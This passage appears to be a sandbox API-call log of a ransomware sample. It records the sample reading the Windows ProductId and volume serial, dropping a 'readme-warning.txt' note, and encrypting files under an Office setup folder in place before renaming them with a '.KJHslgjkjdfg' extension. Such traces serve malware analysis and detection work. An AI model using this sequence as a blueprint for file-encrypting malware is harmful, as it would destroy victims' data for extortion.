nFileSizeLow=0x75e, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.688] GetProcessHeap () returned 0x990000 [0164.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.688] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.688] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.688] GetProcessHeap () returned 0x990000 [0164.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.688] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.688] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.689] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.689] GetProcessHeap () returned 0x990000 [0164.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.689] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.689] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.689] GetProcessHeap () returned 0x990000 [0164.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.689] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.689] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.689] GetProcessHeap () returned 0x990000 [0164.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.689] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.689] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.689] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.689] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.690] RegCloseKey (hKey=0x114) returned 0x0 [0164.690] GetProcessHeap () returned 0x990000 [0164.690] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.690] GetProcessHeap () returned 0x990000 [0164.690] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.690] GetProcessHeap () returned 0x990000 [0164.690] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.690] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.690] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.690] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.690] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.690] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.690] GetProcessHeap () returned 0x990000 [0164.690] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.690] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.691] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.691] GetProcessHeap () returned 0x990000 [0164.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.691] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\readme-warning.txt") returned 115 [0164.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.695] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.696] CloseHandle (hObject=0x114) returned 1 [0164.696] GetProcessHeap () returned 0x990000 [0164.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.697] GetProcessHeap () returned 0x990000 [0164.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.697] GetProcessHeap () returned 0x990000 [0164.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.697] GetProcessHeap () returned 0x990000 [0164.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.697] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.697] GetProcessHeap () returned 0x990000 [0164.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.697] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0164.697] GetProcessHeap () returned 0x990000 [0164.697] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc0) returned 0x9b2468 [0164.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.699] GetProcessHeap () returned 0x990000 [0164.699] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.699] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="..", cAlternateFileName="")) returned 1 [0164.700] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0164.700] GetProcessHeap () returned 0x990000 [0164.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c2) returned 0x9b7e10 [0164.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.704] GetProcessHeap () returned 0x990000 [0164.704] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.704] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.704] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xb, lpOverlapped=0x0) returned 1 [0164.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.708] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.708] GetProcessHeap () returned 0x990000 [0164.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.708] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.708] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.708] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.708] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.708] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.708] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.708] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.709] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.709] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x1915, lpOverlapped=0x0) returned 1 [0164.710] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1920, dwBufLen=0x1920 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x1920) returned 1 [0164.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.710] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x1920, lpOverlapped=0x0) returned 1 [0164.710] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.710] SetEndOfFile (hFile=0x114) returned 1 [0164.713] GetProcessHeap () returned 0x990000 [0164.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.713] GetProcessHeap () returned 0x990000 [0164.713] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.kjhslgjkjdfg")) returned 1 [0164.718] CloseHandle (hObject=0x114) returned 1 [0164.719] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.720] GetProcessHeap () returned 0x990000 [0164.720] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.720] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.720] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x5, lpOverlapped=0x0) returned 1 [0164.723] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.723] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.723] GetProcessHeap () returned 0x990000 [0164.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.723] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.723] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.723] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.724] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.724] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.724] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.724] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.724] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.724] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x412b, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x412b, lpOverlapped=0x0) returned 1 [0164.726] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x4130, dwBufLen=0x4130 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x4130) returned 1 [0164.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.726] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x4130, lpOverlapped=0x0) returned 1 [0164.726] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.726] SetEndOfFile (hFile=0x114) returned 1 [0164.729] GetProcessHeap () returned 0x990000 [0164.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.729] GetProcessHeap () returned 0x990000 [0164.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.730] CloseHandle (hObject=0x114) returned 1 [0164.730] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.730] GetProcessHeap () returned 0x990000 [0164.730] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.730] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.730] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.730] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.730] GetProcessHeap () returned 0x990000 [0164.731] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.731] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.731] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.731] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.731] GetProcessHeap () returned 0x990000 [0164.731] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.731] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.731] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.731] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.731] GetProcessHeap () returned 0x990000 [0164.731] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.731] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.731] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.731] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.731] GetProcessHeap () returned 0x990000 [0164.731] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.731] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.731] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.731] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.731] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.732] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.732] RegCloseKey (hKey=0x114) returned 0x0 [0164.732] GetProcessHeap () returned 0x990000 [0164.732] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: 